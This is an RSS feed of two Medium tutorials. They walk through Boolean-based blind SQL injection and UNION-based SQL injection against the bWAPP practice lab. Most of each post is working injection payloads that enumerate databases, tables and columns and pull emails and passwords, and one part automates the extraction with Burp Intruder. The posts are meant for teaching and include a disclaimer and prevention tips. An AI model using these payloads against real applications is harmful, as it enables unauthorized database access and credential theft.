<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Akash Mhetre on Medium]]></title>
        <description><![CDATA[Stories by Akash Mhetre on Medium]]></description>
        <link>https://medium.com/@9595953113am?source=rss-c891405fbfc6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*_ulhLd-bbyBOiEln</url>
            <title>Stories by Akash Mhetre on Medium</title>
            <link>https://medium.com/@9595953113am?source=rss-c891405fbfc6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 22 May 2026 18:48:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@9595953113am/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Boolean-Based Blind SQL Injection]]></title>
            <link>https://medium.com/@9595953113am/boolean-based-blind-sql-injection-ab66dd575540?source=rss-c891405fbfc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab66dd575540</guid>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[boolean-based-blind-sqli]]></category>
            <category><![CDATA[blind-sqli]]></category>
            <category><![CDATA[boolean-based-sqli]]></category>
            <category><![CDATA[blind-sql-injection]]></category>
            <dc:creator><![CDATA[Akash Mhetre]]></dc:creator>
            <pubDate>Wed, 11 Feb 2026 05:32:23 GMT</pubDate>
            <atom:updated>2026-02-11T05:32:23.105Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*XpuUN5VRgHiCv7K0K9szDg.gif" /></figure><pre><strong>Disclaimer</strong><br>  <br>  This write-up is meant purely for <strong>learning and educational purposes</strong>. The goal<br> is to help security professionals, developers, and students understand how <br>Boolean-Based Blind SQL Injection works so they can better defend their <br>applications.  <br><br>Please remember that <strong>testing systems without permission is illegal</strong> and can <br>lead to serious consequences. Use this knowledge responsibly and only in <br>environments where you have explicit authorization.<br><br><br>Just to be clear, I’m using <strong>bWAPP</strong> for all the testing in this write-up. <br>If you haven’t heard of it, it’s basically a playground full of intentional <br>bugs, perfect for practicing web hacking without breaking anything in the real<br>world. Everything you see here has been tested only inside bWAPP.</pre><p>In this blog, I want to break down one of the SQL injection techniques that I frequently come across in real-world assessments. It’s not the flashy, error-spitting kind of SQL injection you usually see in basic examples. Instead, it’s the quiet, sneaky one — the one that doesn’t show you anything directly but still leaks information if you ask the right questions.</p><h4><strong>What Is Boolean-Based Blind SQL Injection?</strong></h4><p>Boolean-Based Blind SQL Injection is a form of SQL injection where the application <strong>does not display database errors</strong> and <strong>does not return any visible SQL output</strong>. <br>Instead, the application behaves differently based on whether the injected condition is <strong>true </strong>or <strong>false</strong>.</p><p>You’re basically asking the database a series of <strong>yes/no questions</strong>, and the application’s response tells you which one is correct.</p><p>For example:<br>- If the page loads normally → the condition is TRUE<br>- If the page changes or returns an empty result → the condition is FALSE</p><p>So Let’s start</p><p>My first test was simple: I typed a single quote ( ’ ) into the field. <br>Boom — _incorrect syntax detected_. <br>A classic sign that something is happening inside the SQL query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0RkLGHIavYppnJBgifs9jw.png" /></figure><p>And when I inserted single quote hyphen hyphen space ( ’ — — ) The error disappear <br>This is because — — + comments out everything that comes after it, so the database ignores the rest of the original query. <br>This is one of the easiest ways to confirm that the parameter is injectable.</p><p>During testing, I used the classic Boolean payloads to check how the application responds to TRUE and FALSE conditions.</p><p>When I injected</p><pre>&#39; AND 1=1 --+</pre><p>The application responded “<strong>The movie exists in our database!</strong>”<br>This means the SQL condition evaluated to TRUE, so the page behaved normally.</p><p>But when I changed the condition</p><pre>&#39; AND 1=2 --+</pre><p>The response changed “<strong>The movie does not exist in our database!</strong>”<br>This clearly shows that the SQL condition evaluated to <strong>FALSE</strong>, and the application returned a different message.</p><p>This difference between TRUE and FALSE outputs is exactly what makes <strong>Boolean-Based Blind SQL Injection</strong> possible — the database never shows raw data, but the application’s behaviour reveals everything.</p><p>Fnd The Length of Database</p><p>We can use below payload for that</p><pre>&#39; AND (select length(database()))&gt;1 --+</pre><p>OR</p><pre>&#39; AND length((select database()))&gt;1 --+</pre><p>Also we can try below statements</p><pre>&#39; AND (SELECT LENGTH(table_schema) FROM information_schema.tables LIMIT 0,1) &gt; 1 --+</pre><p>OR</p><pre><br>&#39; AND LENGTH((SELECT table_schema FROM information_schema.tables LIMIT 0,1)) &gt; 1 --+</pre><p>Both of these queries perform the same check — they return <strong>TRUE </strong>as long as the database name length is greater than the number you specify. <br>When the condition becomes <strong>FALSE</strong>, the application’s response changes (in my case: “<em>The movie does not exist in our database!</em>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yfKDjUj-ejqX6GHLQ56akg.png" /></figure><p>When I started checking the database name length using the `database()` function, I increased the number step by step. Everything looked normal until I reached:</p><pre>&#39; AND (select length(database()))&gt;5 --+</pre><p>OR</p><pre>&#39; AND length((select database()))&gt;5 --+</pre><p>As soon as I tested that value, the application’s message flipped from “The movie exists exists in our database!” to “movie does not exist in our database!.”</p><p>That switch told me immediately that the Boolean condition failed. <br>So the database name must be <strong>exactly 5 characters long</strong> — because anything up to 4 was TRUE, but 5 and above returned FALSE.</p><p>Now that I knew the length of the current database name, the next step was to extract it <strong>character by character</strong>. This is where Boolean-based blind SQLi becomes really interesting.</p><p>To get the **first character**, I used the following payloads</p><pre>&#39; AND (select substring(database(),1,1))=&#39;a&#39; --+</pre><p>OR</p><pre>&#39; AND substring((select database()),1,1)=&#39;a&#39; --+</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KskXlhVn4erBleLdjzb6yA.png" /></figure><p>The response was:</p><p>“<strong>The movie does not exist in our database!</strong>” (False condition)<br> <br> This meant the first character of the database name is <strong>not</strong> <em>a</em>.</p><p>So I changed <em>a</em> to <em>b</em></p><pre>&#39; AND (select substring(database(),1,1))=&#39;b&#39; --+</pre><p>OR</p><pre>&#39; AND substring((select database()),1,1)=&#39;b&#39; --+</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xkXd13anrq8Ht1Jbo5OHzg.png" /></figure><p>This time, the application responded with<br>”<strong>The movie exists in our database!</strong>”</p><p>This confirmed that the <strong>first character</strong> of the current database name is <strong>b</strong>.</p><p>Once I confirmed that the <strong>first character</strong> of the current database name was <strong>b</strong>, the next step was to extract the remaining characters using the same Boolean-based approach.</p><p>To do that, I simply changed the <strong>position</strong> inside the <em>SUBSTRING()</em> function.</p><p>Extracting the 2nd character</p><p>To check the second character , I used</p><pre>&#39; AND (select substring(database(),2,1))=&#39;a&#39; --+</pre><p>OR</p><pre>&#39; AND (select substring(database(),2,1))=&#39;b&#39; --+</pre><p>here I change the value (database(),1,1) to (database(),2,1) and just like before , I change ‘a’ -&gt; ‘b’ -&gt; ‘c’ -&gt; ‘d’ … until get ”<strong>The movie exists in our database!</strong>” response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z8JMCmQd99AG1XVBvToFdA.png" /></figure><p>When I change ‘a’ -&gt; ‘b’ -&gt; ‘c’ -&gt; ‘d’ ….’w’ I got <strong>The movie exists in our database response</strong> in ‘<strong>w</strong>’<br><em>means the 2nd character is ‘w’</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nSCGiGBeiQ0apcP4bMf4Hw.png" /></figure><p>Change for 3rd, 4th ….</p><p>LIMIT 0,1</p><p>Means: <br>0 -&gt; Start from the first row<br>1 -&gt; return only one row</p><p>So if you want to check the NEXT row simply increase the number like below in above query.</p><p>LIMIT 1,1 → second row <br>LIMIT 2,1 → third row <br>LIMIT 3,1 → fourth row</p><p>Manually testing each character (a → b → c → …) for every position can take a lot of time. <br>To make the process faster and more efficient, we can automate the entire attack using <strong>Burp Suite Intruder</strong>.</p><h3><strong>Automating The Extraction With Burp Suite Intruder</strong></h3><p>To make the character-by-character extraction faster, I automated the process using <strong>Burp Suite Intruder</strong>. Here’s exactly how I set it up.</p><p>First, I captured one valid request in Burp Suite and sent it to <strong>Intruder</strong>. <br>Inside the payload, I marked two positions:</p><p>- <strong>Position 1</strong> → the character index (1st, 2nd, 3rd…)<br>- <strong>Position 2</strong> → the character I want to brute-force (`a` to `z`, `0` to `9`)</p><p>My payload looked something like this:</p><pre>&#39; AND SUBSTRING((SELECT DATABASE()),§1§,1)=&#39;§a§&#39; --+</pre><p>Now, both the <strong>position number</strong> and the <strong>test character</strong> become payload points.</p><h4>Use Cluster Bomb Attack Type</h4><p>Since I am testing <strong>two variables at the same time</strong> (the index and the character), <br>I selected the <strong>Cluster Bomb</strong> attack type. <br>This allows Intruder to try every combination of:</p><p>- Character positions (1 to 5)<br>- Characters (a, b, c… 0–9)</p><p>Perfect for blind SQLi automation.</p><h4>Configure Payload Position 1 (Character Index)</h4><p>For the **first payload position**, which represents the index inside</p><p>I selected:<br>- <strong>Payload type:</strong> Numbers<br>- <strong>Range:</strong> 1 to 5<br>- <strong>Step:</strong> 1</p><p>The reason: <br>I already discovered that the current database name length is <strong>5 characters</strong>, so there are only 5 positions to test.</p><p>This means intruder will iterate 1,2,3,4,5 to extract each character.</p><h4>Configure Payload Position 2 (Character to Test)</h4><p>For the second payload position (the actual character guess), inside:</p><pre>=&#39;§a§&#39;</pre><p>selected:<br>- <strong>Payload type:</strong>** Brute Forcer<br>- <strong>Minimum length:</strong> 1<br>- <strong>Maximum length:</strong> 1</p><p>This tells Burp to brute-force <strong>one character at a time</strong>.</p><p>Burp will automatically try:</p><pre>a, b, c, d, e … z, A, B … 0–9, symbols (depending on configuration)</pre><p>This is exactly what we need for Boolean-based blind SQLi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7lIs3TW2vl6DdI5gpbgFHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LMLgfxsdGDYR6cbMHLJXdg.png" /></figure><p>Then Start the Attack</p><p>After running the automated Intruder attack, I collected the TRUE responses for each character position. <br>By combining all the characters that returned “<strong>The movie exists in our database!</strong>”, I finally reconstructed the entire database name.</p><p>The current database name turned out to be:<br><strong> bwapp</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lY1nKHoMItjvtx3Q_SAQfQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_tUFD52lnxwu-y8mGLR7rQ.png" /></figure><p>Like above we can also extract Table name , Column name and data.</p><p>For that we can use below payloads.</p><h4>Find the length of table name</h4><pre>&#39; AND (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)&gt;1 --+</pre><p>OR</p><pre>&#39; AND length((select table_name from information_schema.tables where table_schema=database() limit 1,1))&gt;1 --+</pre><h4>Extract the table name character by character</h4><pre>&#39; AND substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)=&#39;a&#39; --+</pre><p>OR</p><pre>&#39; AND (select substring(table_name,1,1) from information_schema.tables where table_schema=database() limit 1,1)=&#39;a&#39; --+</pre><h4>Find the length of column name</h4><pre>&#39; AND (select length(column_name) from information_schema.columns where table_name=&#39;users&#39; limit 1,1)&gt;1 --+</pre><p>OR</p><pre>&#39; AND length((select column_name from information_schema.columns where table_name=&#39;users&#39; limit 1,1))&gt;1--+</pre><h4>Extract the column name character by character</h4><pre>&#39; AND (select substring(column_name,1,1) from information_schema.columns where table_name=&#39;users&#39; limit 1,1)=&#39;a&#39; --+</pre><p>OR</p><pre>&#39; AND substring((select column_name from information_schema.columns where table_name=&#39;users&#39; limit 1,1),1,1)=&#39;a&#39; --+</pre><h4>Find the length of data</h4><pre>&#39; AND (select length(email) from userrs limit 1,1)&gt;1 --+</pre><p>OR</p><pre>&#39; AND length((select email from users limit 1,1))&gt;1 --+</pre><h4>Extract the data character by character</h4><pre>&#39; AND (select substring(email,1,1) from userrs limit 1,1)=&#39;a&#39; --+</pre><p>OR</p><pre>&#39; AND substring((select email from users limit 1,1),1,1)=&#39;a&#39; --+</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab66dd575540" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection Using Union Select]]></title>
            <link>https://medium.com/@9595953113am/sql-injection-using-union-select-f6687837f13e?source=rss-c891405fbfc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6687837f13e</guid>
            <dc:creator><![CDATA[Akash Mhetre]]></dc:creator>
            <pubDate>Wed, 14 Aug 2024 09:52:15 GMT</pubDate>
            <atom:updated>2024-08-14T13:42:41.679Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*IPw6eou6PjoC00-ECqybaQ.jpeg" /></figure><p><strong>SQL injection is a security vulnerability that allows attackers to manipulate SQL queries by injecting malicious code through user input fields. This can lead to unauthorized access, data breaches, or data manipulation in a database.</strong></p><h3>How It Works:</h3><ul><li>An attacker inputs malicious SQL code into user input fields.</li><li>This code gets executed by the database, altering the query’s behavior.</li></ul><h3>Consequences:</h3><ul><li>Unauthorized data access</li><li>Data loss or corruption</li><li>Potential full control of the database</li></ul><p><strong>Union-based SQL injection is a type of SQL injection attack where an attacker uses the </strong><strong>UNION SQL operator to combine the results of multiple queries into a single result set. This technique allows the attacker to extract data from other tables in the database, often leading to unauthorized access to sensitive information.</strong></p><p>Union based SQL injection allows an attacker to extract information from the database by extending the results returned by the original query.</p><p>The Union operator can only be used if the original/new queries have the same structure (number and data type of columns).</p><p><em>SELECT a, b FROM table1 UNION SELECT c, d FROM table2</em></p><p>This SQL query will return a single result set with two columns, containing values from columns a and b in table1 and columns c and d in table2.</p><p><em>Let’s start step by step</em></p><h3><strong>Find the vulnerable field</strong></h3><p>here I am using bwapp vulnerable application to perform UNION attack</p><h4><em>Break the query</em></h4><p>insert ’ (single quote) in search bar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*1_jdoZJwdqMbxAf_O_Jm0Q.png" /></figure><p>When we insert ’ (single qoute) then if application give SQL syntax error mean that this field may be vulnerable from SQLi (SQL Injection) attack.</p><p>You can see below image what type of error will get</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*0fC_lEj7y0I7e5MHF7DtqA.png" /></figure><h4>Joint the query</h4><p>For join the SQL query we can use comment. comment will truncate a query and remove the portion of the original query that follows your input. for comment we can use — — (hyphen hyphen) , # (hash) or — — (hyphen hyphen space).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*4jO64GlyCp5VfJyaYBEQmA.png" /></figure><p>If get syntax error means that the query has not joined. Then try to different comment options</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*fFP2FU_LkG0bJSpa7BxaGA.png" /></figure><p>This time we have not get syntax error mean we can perform SQLi attack</p><p><strong>To carry out an SQL injection Union attack, you need to ensure that your attack meets these two requirements.</strong></p><ol><li><em>How many columns are being returned from the original query?</em></li><li><em>Which columns returned from the original query are of a suitable data type to hold the results from the injected query?</em></li></ol><p>There are two methods we can use to find columns which are use in the query.</p><ol><li><strong>ORDER BY</strong></li><li><strong>UNION SELECT</strong></li></ol><h3>Find the columns which are use in the query (no name require)</h3><h4>Find columns using ORDER BY method</h4><p><strong>ORDER BY</strong>: We can try a series of ORDER BY until an error occurs, and it is the signal that this index is out of range:</p><p><strong>’ ORDER BY 1 — </strong><br>’<strong> ORDER BY 2 — </strong><br><strong>’ ORDER BY 3 — </strong><br><strong>…</strong></p><p>This series of payloads modifies the original query to order the results by different columns in the result set. The column in an ORDER BY clause can be specified by its index, so you don’t need to know the names of any columns. When the specified column index exceeds the number of actual columns in the result set, the database returns an order clause error.</p><pre>&#39;ORDER BY 1-- </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*Cz3eYrz3YTpDTdHxaC_yOA.png" /></figure><p>Inject a series of ORDER BY clauses and incrementing the specified colun index until get error</p><pre>&#39;ORDER BY 8-- </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*nzQRUunWrxu7pgU5wsDiNw.png" /></figure><p>On ORDER BY 8 clause we got unknown column error means that there are 7 columns are use in the query.</p><h4><strong>Find the columns using UNION SELECT method</strong></h4><p><strong>UNION SELECT</strong>: This other technique involves sending a UNION SELECT with an increasing number of NULL values (even a constant value like the number 1 is ok). In this way, we don’t get an error only when the number of “NULL” values is equal to the number of the table’s columns</p><p><strong>’ UNION SELECT NULL- -<br>’ UNION SELECT NULL,NUL- -<br>’ UNION SELECT NULL,NULL,NULL- -</strong><br><strong>…</strong></p><p>If the number of nulls does not match the number of columns, the database returns an error.<br>We use NULL as the values returned from the injected SELECT query because the data types in each column must be compatible between the original and the injected queries.<br>NULL is convertible to every common data type, so it maximizes the chance that the payload will succeed when the column count is correct.</p><pre>&#39; union select null -- </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*PekX8vie1vp64XsEC07qzQ.png" /></figure><pre>&#39; union select null,null --  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*VGu38y1sU2i0faiFW2We6Q.png" /></figure><pre>&#39; union select null,null,null,null,null,null,null -- </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*atl7w2TUjHnN_a9VOq-LXQ.png" /></figure><p>When we apply series of null 7 time we got output means that there are 7 columns use in the query.</p><pre>NOTE: - <br><br>On Oracle, every SELECT query must use the FROM keyword and specify a valid table.<br>There is a built-in table on Oracle called dual which can be used for this purpose.<br>So the injected queries on Oracle would need to look like:<br><br>&#39; UNION SELECT NULL FROM DUAL -<br><br><br><br>The payloads described use the double-dash comment sequence - <br>to comment out the remainder of the original query following the injection point.<br><br>On MySQL, the double-dash sequence must be followed by a space.<br><br>Alternatively, the hash character # can be used to identify a comment.<br></pre><h3><strong>Finding columns with a useful data type</strong></h3><p>A SQL injection UNION attack enables you to retrieve the results from an injected query. The interesting data that you want to retrieve is normally in string form.<br>This means you need to find one or more columns in the original query results whose data type is, or is compatible with, string data.<br>After you determine the number of required columns, you can probe each column to test whether it can hold string data.<br>You can submit a series of UNION SELECT payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:</p><p>’ UNION SELECT ‘a’,NULL,NULL,NULL- -<br>’ UNION SELECT NULL,’a’,NULL,NULL- -<br>’ UNION SELECT NULL,NULL,’a’,NULL- -<br>’ UNION SELECT NULL,NULL,NULL,’a’- -</p><p>If the column data type is not compatible with string data, the injected query will cause a database error</p><p>If an error does not occur, and the application’s response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.</p><h4><strong>String concatenation</strong></h4><p>In some cases the query return a single column.<br>You can retrieve multiple values together within this single column by concatenating the values together.<br>You can include a separator to let you distinguish the combined values.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*LX26G60NMfsbJq3GSWFBbA.png" /></figure><pre> &#39; union select null,username  | |  &#39;~&#39;  | | password  from users --  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cwGyuu9fHBsscI1EixJBBw.png" /></figure><h3>Find Database type and version</h3><p>You can potentially identify both the database type and version by injecting provider-specific queries to see if one works</p><p>The following are some queries to determine the database version for some popular database types:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*lKX6Y5zSOg-jycROAUXVpg.png" /></figure><pre>&#39; UNION SELECT null,version(),database(),null,null,null,null --  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*FLu3LvQ_AwfXsfNgrLCacw.png" /></figure><p>Above output is too long and we want only intended output so that’s why we will insert non existing value in the search bar like -1 (minus 1)</p><pre>-1&#39; union select null,version(),null,null,null,null,null --  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*NHYmP8gTX6fRPuMryazt1A.png" /></figure><h4>Retrieve cureent username</h4><pre>-1&#39; union select null,version(),current_user(),null,null,null,null --  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*AejUwe_sfRJwsNzFRLeUdQ.png" /></figure><h3>Find the databases available in the application</h3><pre>-1&#39; union select null,table_schema,current_user(),null,null,null,null from information_schema.tables--   </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*-36vNFgxx8XEbof5zrAVsQ.png" /></figure><p>Select one database which we found by previous query and find the Tables available in that database.</p><p>Here I am choose the bwapp database</p><h3>Find the tables</h3><pre> <br>-1&#39;  union select null,table_name,null,null,null,null,null from information_schema.tables where table_schema=database()--  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*Eq8JY8e6hhfFojx0KoFC0Q.png" /></figure><p>Sometime application apply limit that time we have not get all table in single query</p><p>That time we can send multiple query using limit function and fetch the all tables available in database</p><h4>Find the tables with limit function</h4><pre>-1&#39;  union select null,table_name,null,null,null,null,null from information_schema.tables where table_schema=database() limit 0,1--  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*q4ZmXRVacXKVzAE2JJmiFQ.png" /></figure><pre>-1&#39;  union select null,table_name,null,null,null,null,null from information_schema.tables where table_schema=database() limit 1,1--  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*t-p_bwFmYHXMHQnUZA_FyQ.png" /></figure><p>Like above we can increase the limit and it’s steps according to application limitation</p><p>Limit 0,1 — — — — — -&gt; id 0 (zero) to one step<br>Limit 1,1 — — — — —&gt; id 1 to one step<br>Limit 2,1 — — — — — -&gt; id 2 to one step<br>…..</p><h4>Retrieve tables in single column using group_concat function</h4><p>The GROUP_CONCAT() function in MySQL is used to concatenate data from multiple rows into one field. <br>This is an aggregate (GROUP BY) function that returns a <strong>String</strong> value if the group contains at least one non-<strong>NULL</strong> value.<br>Otherwise, it returns <strong>NULL</strong>.</p><pre> <br>-1&#39;  union select null,group_concat(table_name),null,null,null,null,null from information_schema.tables where table_schema=database() --  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*9qv7Bk4Vha-PK6-sNpaMQw.png" /></figure><p>Maybe we can get some important data from the <strong>users</strong> table, so let’s penetrate more inside.</p><h3>Find the columns</h3><pre>-1&#39; union select null,column_name,null,null,null,null,null from information_schema.columns where table_name=&#39;users&#39; --  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*kGsefD8qrbtx6661tUQu1Q.png" /></figure><p>Also we can use the group_concat function for fetch tables name retrieving its entire columns name in single column.</p><pre>-1&#39; union select null,group_concat(column_name),null,null,null,null,null from information_schema.columns where table_name=&#39;users&#39; --  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*Pj2YFzy-tAeCM0sY9XrG-A.png" /></figure><p>We have successfully retrieved all column names from inside the table users.</p><p>Enumerate the Data from Columns</p><p>Choose the columns which we want to enumerate</p><p>Here I am choosing email and password columns</p><p>You can choose any columns which you want to enumerate</p><pre> -1&#39; union select null,email,password,null,null,null,null from users --  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*LB-_FLsNs_nMvXfvXI121A.png" /></figure><h3>Prevention:</h3><ul><li><strong>Use Prepared Statements:</strong> Ensure that user inputs are handled safely with parameterized queries.</li><li><strong>Input Validation:</strong> Rigorously validate and sanitize user inputs.</li><li><strong>Database Permissions:</strong> Limit the database user’s permissions to minimize impact if an injection occurs.</li></ul><p>Union-based SQL injection can expose significant amounts of data if not properly mitigated, highlighting the importance of secure coding practices.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6687837f13e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>